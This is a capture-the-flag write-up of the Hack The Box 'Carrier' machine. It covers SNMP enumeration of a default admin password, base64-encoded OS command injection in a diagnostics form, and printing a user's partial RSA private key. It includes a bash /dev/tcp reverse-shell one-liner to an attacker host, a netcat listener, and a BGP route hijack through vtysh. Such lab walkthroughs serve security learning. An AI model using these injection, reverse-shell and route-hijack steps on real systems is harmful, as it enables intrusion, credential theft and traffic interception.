

Carrier - 10.10.10.105

Initial Recon:

NMAP scan:


```
root@kali:~/Desktop/HackTheBox_Writeups/Carrier# nmap -sS -sV 10.10.10.105 --script=vulners
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-03 14:20 EST
Nmap scan report for 10.10.10.105
Host is up (0.042s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE VERSION
21/tcp    filtered ftp
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
|_ vulners:
|_   cpe:/a:openbsd:openssh:7.6p1:
|_   CVE-2018-15919 5.0 https://vulners.com/cve/CVE-2018-15919
|_   CVE-2018-15473 5.0 https://vulners.com/cve/CVE-2018-15473
80/tcp    open  http      Apache httpd 2.4.18 ((Ubuntu))
|_ http-server-header: Apache/2.4.18 (Ubuntu)
|_ vulners:
|_   cpe:/a:apache:http_server:2.4.18:
|_   CVE-2017-3167 7.5 https://vulners.com/cve/CVE-2017-3167
|_   CVE-2017-7679 7.5 https://vulners.com/cve/CVE-2017-7679
|_   CVE-2017-3169 7.5 https://vulners.com/cve/CVE-2017-3169
|_   CVE-2017-7668 7.5 https://vulners.com/cve/CVE-2017-7668
|_   CVE-2017-15715 6.8 https://vulners.com/cve/CVE-2017-15715
|_   CVE-2018-1312 6.8 https://vulners.com/cve/CVE-2018-1312
|_   CVE-2017-9788 6.4 https://vulners.com/cve/CVE-2017-9788
|_   CVE-2016-4979 5.0 https://vulners.com/cve/CVE-2016-4979
|_   CVE-2016-8743 5.0 https://vulners.com/cve/CVE-2016-8743
|_   CVE-2016-8740 5.0 https://vulners.com/cve/CVE-2016-8740
|_   CVE-2017-9798 5.0 https://vulners.com/cve/CVE-2017-9798
|_   CVE-2018-1333 5.0 https://vulners.com/cve/CVE-2018-1333
|_   CVE-2017-15710 5.0 https://vulners.com/cve/CVE-2017-15710
|_   CVE-2016-4975 4.3 https://vulners.com/cve/CVE-2016-4975
|_   CVE-2016-1546 4.3 https://vulners.com/cve/CVE-2016-1546
|_   CVE-2018-1283 3.5 https://vulners.com/cve/CVE-2018-1283
|_   CVE-2016-8612 3.3 https://vulners.com/cve/CVE-2016-8612
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.56 seconds
```

Open services:

- FTP - attempts to connect timeout - port filtered
- SSH -
- Apache Webserver

Dirbuster shows several directories and docs on the webserver:

Scan Information \ Results - List View: Dirs: 9 Files: 28 \ Results - Tree View \  Errors: 161 \			
Directory Stucture	Response Code	Response Size	
/	200	1853	
img	200	1118	
doc	200	1352	
error_codes.pdf	200	68391	
css	200	3771	
index.php	200	1855	
js	200	1752	
jquery.min.js	200	87198	
scripts.js	200	282	
bootstrap.min.js	200	46929	
popper.min.js	200	21012	
icons	403	465	
small	403	471	
tools	200	1127	
remote.php	200	177	
fonts	200	2161	
glyphicons-halflings-regular.eot	200	19605	
glyphicons-halflings-regular.ttf	200	46373	
glyphicons-halflings-regular.woff	200	22649	
glyphicons-halflings-regular.woff2	200	109265	
glyphicons-halflings-regular.woff2	200	17419	
tickets.php	302	282	
dashboard.php	302	282	
debug	200	179	
index.php	200	179	

Browsing through these several give information and others are useless, of note the /docs directory shows the error_codes.pdf document which details the following piece of information:

CW1000-X Lyghtspeed Management Platform v1.0.4d(Rel 1. GA)

Error messages list

Table A1 - Main error codes for CW1000-X management platform

Error code	Description
45001	System has not finished initializing Try again in a few minutes
45002	A hardware module failure has occurred Contact TAC for assistance
45003	The main cryptographic module has failed to initialize
45004	Mgmt daemon is not responsive
45005	Faild daemon is not responsive
45006	Replicated daemon is not responsive
45007	License invalid or expired
45008	Admin account locked out
45009	System credentials have not been set Default admin user password is set (see chassis serial number)
45010	Factory reset in progress

So we can see that the Admin account login on the web server default page might be the serial number.

Various attempts rot locate this in SSH banner, FTP service or elsewhere in the web server directories turn up nothing of use.

Re run NMAP scan for UDP shows SNMP is open on 161

```

root@kali:~/Desktop/HackTheBox_Writeups/Carrier# nmap --min-parallelism 100 -sU 10.10.10.105
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-04 08:15 EST
Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 30.77% done; ETC: 08:15 (0:00:07 remaining)
Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 84.30% done; ETC: 08:15 (0:00:01 remaining)
Nmap scan report for 10.10.10.105
Host is up (0.040s latency).
Not shown: 987 open|filtered ports
PORT      STATE SERVICE
161/udp   open  snmp
10080/udp closed amanda
18258/udp closed unknown
19227/udp closed unknown
21212/udp closed unknown
21898/udp closed unknown
21948/udp closed unknown
28543/udp closed unknown
30263/udp closed unknown
38412/udp closed unknown
42508/udp closed candp
61024/udp closed unknown
61550/udp closed unknown

Nmap done: 1 IP address (1 host up) scanned in 7.24 seconds

```

We can then find out the SNMP version using `-sV` flag and `-p` for port 161

```

root@kali:~/Desktop/HackTheBox_Writeups/Carrier# nmap --min-parallelism 100 -p 161 -sV -sU 10.10.10.105
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-04 08:21 EST
Nmap scan report for 10.10.10.105
Host is up (0.039s latency).

PORT      STATE SERVICE VERSION
161/udp   open  snmp      SNMPv1 server; pysnmp SNMPv3 server (public)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.74 seconds

```

SNMP version 3 with community string as **'public'**

Then we use NMAP script 'SNMP.interfaces' to find out the available interfaces on the device:

```

root@kali:~/Desktop/HackTheBox_Writeups/Carrier# nmap --min-parallelism 100 -p 161 -sV -sU 10.10.10.105 --script=snmp.interfaces
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-04 08:23 EST
Nmap scan report for 10.10.10.105
Host is up (0.035s latency).

PORT      STATE SERVICE VERSION
161/udp   open  snmp      SNMPv1 server; pysnmp SNMPv3 server (public)
| snmp-info:
|   enterprise: pysnmp
|   engineIDFormat: octets
|   engineIDData: 77656201f19908
|   snmpEngineBoots: 2
|_  snmpEngineTime: 13m07s

```

Can also try to retrieve data from the device by SNMPWalking the device using v1 or v2c and supplying the community string 'public'

```

root@kali:~/Desktop/HackTheBox_Writeups/Carrier# snmpwalk -c public 10.10.10.105 -v1
iso.3.6.1.2.1.47.1.1.1.1.11 = STRING: "SN#NET_45JDX23"
End of MIB
root@kali:~/Desktop/HackTheBox_Writeups/Carrier# snmpwalk -c public 10.10.10.105 -v2c
iso.3.6.1.2.1.47.1.1.1.1.11 = STRING: "SN#NET_45JDX23"
iso.3.6.1.2.1.47.1.1.1.1.11 = No more variables left in this MIB View (It is past the end of the MIB tree)
root@kali:~/Desktop/HackTheBox_Writeups/Carrier#

```

This now looks like the serial number for the device available via SNMP, try logging into the web console with **'Admin'** and **'NET_45JDX23'** and we get success!



Dashboard

Tickets

Monitoring

Diagnostics

License invalid

Cannot detect license key dongle on any USB port.

- Tickets functionality is restricted to read-only mode
- Monitoring functionality is disabled
- Diagnostics restricted to local sub-system components
- Configuration changes locked, will be reverted automatically

Contact Sales

Lyghtspeed Networks: Delivering 1ms latency across the planet since 1994

Web Console:

3 available options:

- **Dashboard** - nothing of interest here, 'Contact Sales' link does nothing
- **Tickets** - Seems to have more intelligence that could be useless, all txt page no further links.
- **Diagnostics** - Has 'Verify' option which returns results from underlying OS as can be seen on page - seems to run built in commands - looks VERY interesting vector (OS injection)

Warning: Invalid license, diagnostics restricted to built-in checks

[Verify status](#)

quagga 2047 0.0 0.1 24500 2360 ? Ss 13:30 0:00 /usr/lib/quagga/zebra --daemon -A 127.0.0.1

quagga 2051 0.0 0.1 29452 3352 ? Ss 13:30 0:00 /usr/lib/quagga/bgpd --daemon -A 127.0.0.1

root 2056 0.0 0.0 15432 164 ? Ss 13:30 0:00 /usr/lib/quagga/watchquagga --daemon zebra bgpd

Verify option looks like it executes some command on the OS and returns the results to the web console output, lets look at what happens with the requests using Burp.

Raw	Params	Headers	Hex
<pre>POST /diag.php HTTP/1.1 Host: 10.10.10.105 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/201 Accept: text/html,application/xhtml+xml,application/xml;q=0.9, Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.10.10.105/diag.php Cookie: PHPSESSID=d6kqogi7dois6u09edbhrc3kn3 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 14 check=cXVhZ2dh</pre>			

We can see the only parameter is the 'check' option, several runs show this is the same value each time, when looking at this value as Base64 using CyberChef we see the value is 'quagga' which is the user we see the returned results for above.

If we change the value to 'root' and encode in Base64, using Burp to edit the response we get the following back:

[Dashboard](#)[Tickets](#)[Monitoring](#)[Diagnostics](#)

Warning: Invalid license, diagnostics restricted to built-in checks

[Verify status](#)

```
root 1 0.7 0.2 37484 5604 ? Ss 14:03 0:01 /sbin/init
root 57 0.3 0.1 35272 3244 ? Ss 14:03 0:00 /lib/systemd/systemd-journald
root 65 0.6 0.1 41720 2968 ? Ss 14:03 0:01 /lib/systemd/systemd-udev
root 476 0.0 1.2 74828 24268 ? Ssl 14:04 0:00 /usr/lib/snapd/snapd
root 478 0.0 0.1 27728 2400 ? Ss 14:04 0:00 /usr/sbin/cron -f
root 481 0.0 0.2 274488 5776 ? Ssl 14:04 0:00 /usr/lib/accountsservice/accounts-
daemon
root 492 0.0 0.3 65508 6056 ? Ss 14:04 0:00 /usr/sbin/sshd -D
root 499 0.0 0.1 28544 3036 ? Ss 14:04 0:00 /lib/systemd/systemd-logind
root 502 0.0 0.0 5220 116 ? Ss 14:04 0:00 /sbin/iscsid
root 503 0.0 0.1 5720 3536 ? SLs 14:04 0:00 /sbin/iscsid
root 508 0.1 0.2 277176 5796 ? Ssl 14:04 0:00 /usr/lib/policykit-1/polkitd --no-debug
root 521 0.0 0.0 14472 1596 console Ss+ 14:04 0:00 /sbin/agetty --noclear
--keep-baud console 115200 38400 9600 linux
```

This looks like the output of `ps` i.e. listing the process for the currently supplied user. Since we can modify the value, let's try to perform some OS injection to see what happens.

By supplying the value `'!s'` encoded as Base64 we see the following results returned showing we have success:

[Dashboard](#)[Tickets](#)[Monitoring](#)[Diagnostics](#)

Warning: Invalid license, diagnostics restricted to built-in checks

[Verify status](#)

f

ftp.py

mydump.pcap

test_intercept.pcap

user.txt

Here we can see the user.txt flag file, by using `cat user.txt` supplied as param we get the user flag.

From here we can also create a remote shell to gain full access and upgrade to python shell to work on root for the machine

We seen previously that SSH is running, by sending the command `cat .ssh/id_rsa` we can see that the current users SSH private key is available:

[Dashboard](#)[Tickets](#)[Monitoring](#)[Diagnostics](#)

Warning: Invalid license, diagnostics restricted to built-in checks

[Verify status](#)

-----BEGIN RSA PRIVATE KEY-----

```
MIIEpAIBAAKCAQEAstgboKxcpYf7KFmyJJS+dFJyvMMSqqVPG5m+AAKAikIJJ2Sq
5onUAPYVoW8BBgXIBjGSa/vnf8vSYtQSR7syucbHEVyXgjr3TkzkNsQ55d/IgXo
CGrtE53GwbXhKx9tMaUi0oEqsOI343ztloxn+TeyckYK+Ti46U6Mi36C9EpJza7N
+ppY3GcnjmAg2KbU16ZFJogscg4vGRLSn/KBX7bltt0tJtF6L4ovFOKJvtpe5s9h
vXMBnzXPu6TLUCvQUTB1OyS5OCBoeWSzLqtf8JGoAOS9AoscaYTnnV9fMRyrUxoz
jiqf6mSk9jHpc9EuWewqt8th1BYegYu1x1n2JQIDAQABAolBAG4KUIV2ODsRhBO7
vMSNUPi5mKdUT7P3qskMu789yqFJh8LVSeI3g95ji8OcJUCrZfuJnNlcWMBIJLnY
StuCX6gosqGeiVQaoSWpAHVsI0YqbOr+P1qOj/i154lg436pA4K8XMSw
```


REVERSE SHELL:

- Send 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1' gives us reverse shell from **root@r1**
- Upgrade shell using **python3 -c 'import pty; pty.spawn("/bin/bash")'**

Appears to be no more flag files on the server.

ROUTERS

Box may have pivot potential, in the docs dir earlier we noticed a diagram for a network setup:



And we can see from the user and process list that this machine is running Quagga/Zebra which is routing software, we may have other networks available.

Quagga details:

From the conf files under /etc/quagga we can see BGP and Zebra daemons are configured, therefore we should be able to find which routes are advertised through BGP to neighbours in the config file:

```

root@r1:~# cat /etc/quagga/bgpd.conf
cat /etc/quagga/bgpd.conf
!
! Zebra configuration saved from vty
!   2018/07/02 02:14:27
!
route-map to-as200 permit 10
route-map to-as300 permit 10
!
router bgp 100
  bgp router-id 10.255.255.1
  network 10.101.8.0/21
  network 10.101.16.0/21
  redistribute connected
  neighbor 10.78.10.2 remote-as 200
  neighbor 10.78.11.2 remote-as 300
  neighbor 10.78.10.2 route-map to-as200 out
  neighbor 10.78.11.2 route-map to-as300 out
!
line vty
!
root@r1:~# █

```

from this we can see:

- AS200 Gateway is 10.78.10.2 which is **Zaza Telecom** (from previous network arch)
- AS300 Gateway is 10.78.11.2 which is **CastCom** (from previous network arch)

Going back to the tickets tab on the web console we see some interesting information pertaining to the upstream networks:

-
- | | | |
|---|--------|--|
| 6 | Closed | <p>Rx / CastCom. IP Engineering team from one of our upstream ISP called to report a problem with some of their routes being leaked again due to a misconfiguration on our end. Update 2018/06/13: Pb solved: Junior Net Engineer Mike D. was terminated yesterday. Updated: 2018/06/15: CastCom. still reporting issues with 3 networks: 10.120.15,10.120.16,10.120.17/24's, one of their VIP is having issues connecting by FTP to an important server in the 10.120.15.0/24 network, investigating... Updated 2018/06/16: No prbl. found, suspect they had stuck routes after the leak and cleared them manually.</p> |
|---|--------|--|
-

can use bash to ping sweep these ip ranges /24

```
root@r1:~# for i in `seq 1 255`; do ping -c 1 10.120.15.$i | tr
ne
<15.$i | tr \\n ' ' | awk '/1 received/ {print $2}'; done
10.120.15.1
10.120.15.10
root@r1:~#
```

```
root@kali:~/Desktop/rsg# nc -l -p 9998
bash: cannot set terminal process group (7763):
bash: no job control in this shell
root@r1:~# cat /etc/quagga/bgpd.conf
cat /etc/quagga/bgpd.conf
!
! Zebra configuration saved from vty
!   2018/07/02 02:14:27
!
route-map to-as200 permit 10
route-map to-as300 permit 10
!
router bgp 100
  bgp router-id 10.255.255.1
  network 10.101.8.0/21
  network 10.101.16.0/21
  network 10.120.15.0/24

  redistribute connected
  neighbor 10.78.10.2 remote-as 200
  neighbor 10.78.11.2 remote-as 300
  neighbor 10.78.10.2 route-map to-as200 out
  neighbor 10.78.11.2 route-map to-as300 out
!
line vty
!
root@r1:~#
```

```
root@r1:~# vtysh
vtysh
```

```
Hello, this is Quagga (version 0.99.24.1).
Copyright 1996-2005 Kunihiro Ishiguro, et al.
```

```
r1# config t
config t
r1(config)# router bgp 100
router bgp 100
r1(config-router)# network 10.120.15.0/24
network 10.120.15.0/24
r1(config-router)# exit
exit
r1(config)# write
write
% Unknown command.
r1(config)# exit
exit
r1# write
write
Building Configuration...
Configuration saved to /etc/quagga/zebra.conf
Configuration saved to /etc/quagga/bgpd.conf
[OK]
r1# █
```